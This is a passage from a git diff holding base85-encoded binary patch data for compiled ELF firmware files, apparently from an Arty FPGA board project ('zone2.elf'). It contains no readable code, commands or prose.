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

diff --git a/ArtyImplementation/zone2/zone2.elf b/ArtyImplementation/zone2/zone2.elf
index ce5a53d71a3003cd3baecaf1c623dcffa04de481..bc8c4498b2bc3dc8d7e1c97651685dc31ac07bf3 100755
GIT binary patch
delta 43750
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
